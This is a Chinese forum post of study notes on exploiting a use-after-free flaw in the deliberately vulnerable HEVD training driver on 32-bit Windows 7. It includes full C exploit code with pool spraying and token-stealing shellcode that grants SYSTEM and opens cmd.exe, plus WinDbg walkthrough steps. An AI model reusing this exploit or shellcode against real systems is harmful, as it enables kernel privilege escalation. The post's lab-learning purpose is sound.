首页
社区
课程
招聘
[原创]初探内核漏洞:HEVD学习笔记——UAF
2022-7-18 20:00 7462

[原创]初探内核漏洞:HEVD学习笔记——UAF

2022-7-18 20:00
7462

目录

HEVD学习笔记——UAF

字面上看,Use After Free,一块内存释放之后又被使用导致的漏洞。
图片描述
我们将释放后未设置成NULL的指针称为悬空指针(dangling pointer),该处的内存没有进行回收,导致下次申请内存时再次使用该处内存,使得悬空指针可以访问修改过的内存。

环境

Win 10 64位 主机 + win 7 32位虚拟机
调试器:Windbg
工具:VirtualKD-3.0、IDA
目标驱动:HEVD

漏洞定位

由于FreeUaFObjectNonPagedPool函数将全局指针g_UseAfterFreeObjectNonPagedPool释放之后并没有将其设置为NULL:
图片描述
导致UseUaFObjectNonPagedPool函数执行时依然可以调用g_UseAfterFreeObjectNonPagedPool全局指针:
图片描述
若我们控制该全局指针之后再调用它,就能利用该漏洞。

所以,我们可以申请大量与g_UseAfterFreeObjectNonPagedPool相同大小的空间,并填充我们构造的数据。当再次为g_UseAfterFreeObjectNonPagedPool申请空间的时候很有可能落在我们申请的空间中,此时g_UseAfterFreeObjectNonPagedPool的内容是我们的数据,调用g_UseAfterFreeObjectNonPagedPool时就会执行我们的代码。

 

我们关注下面几个函数:
图片描述
AllocateUaFObjectNonPagedPool函数给g_UseAfterFreeObjectNonPagedPool全局变量申请0x58大小的池空间(我们知道,其实还有8字节的池头部,所以大小是0x60);UseUaFObjectNonPagedPool函数执行全局变量指向的函数;FreeUaFObjectNonPagedPool函数释放全局指针;AllocateFakeObjectNonPagedPool函数也申请0x58的池空间,并将我们构造的数据写入该池空间。

漏洞利用

堆喷的原理可以这样简单理解:假设我们有一个大小n的内核pool chunk A,然后释放该chunk。当我们再次申请同样大小的chunk时,就有可能又会申请到A,只是概率较低,但是如果我们大量申请同样大小的chunk,就有很大的概率又申请到A空间。

 

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include<stdio.h>
#include<Windows.h>
// 1.设置符号链接名称
#define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
// 2.控制码定义(与0环一样)
#define HEVD_ALLOCATE_UAF_OBJECT 0x222013
#define HEVD_USE_UAF_OBJECT 0x222017
#define HEVD_FREE_UAF_OBJECT 0x22201B
#define HEVD_ALLOCATE_FAKE_OBJECT 0x22201F
 
static VOID shellcode_TokenStealingPayloadWin7() {
    // No Need of Kernel Recovery as we are not corrupting anything
    __asm {
        //int 3
        nop
        pushad; Save registers state
 
            ; Start of Token Stealing Stub
            xor eax, eax; Set ZERO
            mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
            ; _KTHREAD is located at FS : [0x124]
 
            mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
 
            mov ecx, eax; Copy current process _EPROCESS structure
 
            mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
 
            SearchSystemPID:
        mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID
 
            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
            ; with SYSTEM process nt!_EPROCESS.Token
            ; End of Token Stealing Stub
 
            popad; Restore registers state
            ret
    }
}
 
VOID EXP_UAF() {
    // 3.CreateFile打开符号链接得到设备句柄
    HANDLE hDevice = NULL;
    hDevice = CreateFile(DEVICE_LINK_NAME,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Error - Unable to obtain a handle to the driver, error code %d\n", GetLastError());
        exit(1);
    }
    // 4.DeviceIoControl0环发请求并接收返回结果
    DWORD dwRet = 0;
    // 调用 AllocateUaFObjectNonPagedPool函数申请内存
    DeviceIoControl(hDevice, HEVD_ALLOCATE_UAF_OBJECT, NULL, NULL, NULL, 0, &dwRet, NULL);
    // 调用 FreeUaFObjectNonPagedPool函数释放对象
    DeviceIoControl(hDevice, HEVD_FREE_UAF_OBJECT, NULL, NULL, NULL, 0, &dwRet, NULL);
 
    //构造利用数据
    char exp_UAF[0x60];
    memset(exp_UAF, 0x41, 0x60);
    //前四字节为shellcode地址
    PVOID EopPayload = &shellcode_TokenStealingPayloadWin7;
    memcpy(&exp_UAF, &EopPayload, 0x4);
 
    //堆喷
    for (int i = 0; i < 5000; i++)
    {
        DeviceIoControl(hDevice, HEVD_ALLOCATE_FAKE_OBJECT, exp_UAF, 0x60, NULL, 0, &dwRet, NULL);
    }
 
    // 调用 UseUaFObjectNonPagedPool函数使用对象
    DeviceIoControl(hDevice, HEVD_USE_UAF_OBJECT, NULL, NULL, NULL, 0, &dwRet, NULL);
 
    system("cmd.exe");
 
}
 
int main() {
    EXP_UAF();
    return 0;
}

接下来在调试中具象理解我们到底做了什么。这里先总体概括一下:[Allocate -> Free -> Allocate]
Windbg在四个函数处下断点:
图片描述
执行客户端程序,在AllocateUaFObjectNonPagedPool断下,继续运行,此时系统完成了对全局变量g_UseAfterFreeObjectNonPagedPool的分配,我们来看一下它的值:
图片描述
此时它的前4字节959ee418处是原有的函数:
图片描述
在看一下它所在的池块,大小为0x58+8=0x60,状态为已分配(Allocated):
图片描述
此时断在FreeUaFObjectNonPagedPool函数,继续运行,此时池块已释放(Free):
图片描述
此时断在AllocateFakeObjectNonPagedPool函数,取消此处断点,继续运行,进行堆喷射,断下来之后查看池块情况:
图片描述
可以看到g_UseAfterFreeObjectNonPagedPool处内存变为Allocate,说明我们的堆喷申请到了它所在的空间。我们查看现在全局变量的内容,前4字节已经变成我们的shellcode的地址:
图片描述
接下来只要调用全局变量即可执行我们的shellcode。
此时断在UseUaFObjectNonPagedPool函数,继续运行,可以看到提权成功:
图片描述

参考文章

HEVD UAF漏洞分析
Windows 内核系列一: UAF基础


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞5
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回